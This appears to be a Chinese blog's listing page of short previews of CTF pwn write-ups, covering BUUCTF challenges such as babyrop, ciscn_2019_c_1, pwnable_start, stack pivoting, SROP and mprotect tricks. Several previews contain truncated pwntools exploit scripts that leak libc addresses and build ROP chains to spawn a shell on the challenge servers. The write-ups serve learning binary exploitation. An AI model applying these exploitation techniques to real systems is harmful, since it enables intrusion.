- 博客(32)
- 收藏
- 关注
原创 关于利用alpha3生成可打印shellcode的报错的解决
最开始python sc.py > shellcode执行这条语句老出错,这后来又是winhex下载又是VMtool安装的,太麻烦的,最后机缘巧合,发现这样可以成功:直接git clone 而后用python3而不是python2去运行sc.py而后直接 python ./ALPHA~~
2022-06-01 02:09:56
541
2
原创 pwn2_sctf_2016的32位和64位、[ZJCTF 2019]EasyHeap 的收获
[ZJCTF 2019]EasyHeap堆菜鸡题后简 结,见谅查看保护机制:Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)本题的思路就是:控制heaparray附近的区域,覆盖heaparray[0]处为free_got的地址,使之被作为chunk看待,edit覆盖free_got地址为syste.
2022-05-28 00:31:26
212
原创 BUUCTF之“SWPUCTF_2019_login”
格式化字符串在bss段上的情况:间接修改printf.got表为system,,,ebp对应的地址映射比较关键
2022-01-01 22:19:21
1176
原创 BUUCTF之“cmcc_pwnme2”做题简单记录
这题还好,值得注意的是IDA里头函数栏里面的函数名字需要多注意其意思,说不定就是提示的信息。from pwn import *p = remote('node4.buuoj.cn',25488)elf=ELF('./pwnme2')exec_string=0x080485cbstring=0x0804a060gets=elf.sym['gets']p.recvuntil('Please input:\n')payload=b'a'*(0x6c+4)+p32(gets)+p32(.
2021-12-11 20:25:53
2684
原创 从BUUCTF之“jarvisoj_level5”中看如何暗度陈仓实现“mprotect”修改.bss段为可执行
mprotect修改权限实践
2021-12-10 21:12:15
737
1
原创 关于BUUCTF之“pwnable_start”的一点小结
之前这个用汇编代码编写shellcode的题目做的较少,这题算是开端。正常检查程序保护,啥也没开。我们先分析一波程序:需要用到一点汇编知识,总的意思是:四个xor清零四个寄存器。而后压栈数据,是最开始会输出的“Let’s start the CTF:”然后调用write函数输出上面内容0x14个字节。而后调用read函数输入最大0x3c字节内容。在add esp ;然后返回。我们选择shellcode在栈上执行办法。所以我们需要泄露栈地址,计算偏移量,覆盖返回地址为shellcode所在地址.
2021-12-07 11:16:02
383
原创 关于“gyctf_2020_borrowstack”,涉及栈迁移(pivoting),通用gadge,one_gadget
我们首先给出wp:from pwn import*context.log_level='debug'p=remote('node4.buuoj.cn',26985)elf=ELF('./barop')p_rdi=0x400993puts_plt=elf.plt['puts']puts_got=elf.got['puts']read_got=elf.got['read']lbic=ELF('./libc-2.23.so')p.recvuntil("u!")```pythonp.sen
2021-12-05 21:58:23
338
原创 从“bjdctf_2020_babyrop2”中看泄露的地址的接收问题
from pwn import*context.log_level=‘debug’p=remote(‘node4.hackingfor.fun’,32264)binsh= 0x400967pop_rdi= 0x4008a3p.sendline("-1")#p.recvuntil(“EDG”)paylaod = b’a’*0x78 +p64(pop_rdi) + p64(binsh)+p64(0x4005d0)p.sendline(paylaod)p.interactive()...
2021-12-02 11:49:17
240
原创 从BUUCTF之ciscn_2019_s_3简单实践SROP和通用gadget+execve系统调用
from os import systemfrom pwn import*from LibcSearcher import*#context.log_level='debug'p=remote('node4.buuoj.cn',27422)elf= ELF('./pwn')write_plt = elf.plt['write']write_got = elf.got['write']payload1 = '\x00' + '\xff'*7p.sendline(payload1)p.rec
2021-11-27 11:32:36
770
原创 关于BUUCTF 之bjdctf_2020_babyrop的wp的最实在解释
from os import systemfrom pwn import*context.log_level='debug'p=remote('node4.buuoj.cn',25535)libc_ = ELF('./libc-2.23.so')elf = ELF('./2020')puts_plt = elf.plt['puts']puts_got = elf.got['puts']#p.recvuntil("Pull up your sword and tell me u story!"
2021-11-26 19:56:49
870
原创 关于buuctf[OGeek2019]babyrop 1的一些些小结
首先对于题目分析:正常的32位小端序,checksec一下发现开了NX…………算了直接进正题。1.open函数的返回值,如果执行成功,他将返回一个文件描述,如果失败,他将返回-1.这里显然是成功了2.文件描述符:0,1,2:是标准I/O输入、输出、错误。这里open执行成功了会返回3。3.此时read(fd,&buf,4u)的意思是把fd指向的那个随机数输入buf中。这里需要注意的是:strcmp函数可用“\x00”来截断,进而覆盖下面的v5变量,随后让第二个read函数读入的“a1”
2021-11-25 16:05:25
798
原创 对buuctf的ciscn_2019_c_1wp的简单收获
首先不得不说BUU里头用到LibcSearcher泄露libc非常离谱,反正还是用"libc = ELF('./……')"比"libc = LibcSearcher()"较合适.接下来谈谈这题的wp:`from pwn import *from LibcSearcher import *context.log_level=‘debug’#p=process(‘1’)p=remote(“node4.buuoj.cn”,27213)elf=ELF(’./1’)puts_plt=elf.plt[“
2021-11-20 20:49:15
775
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人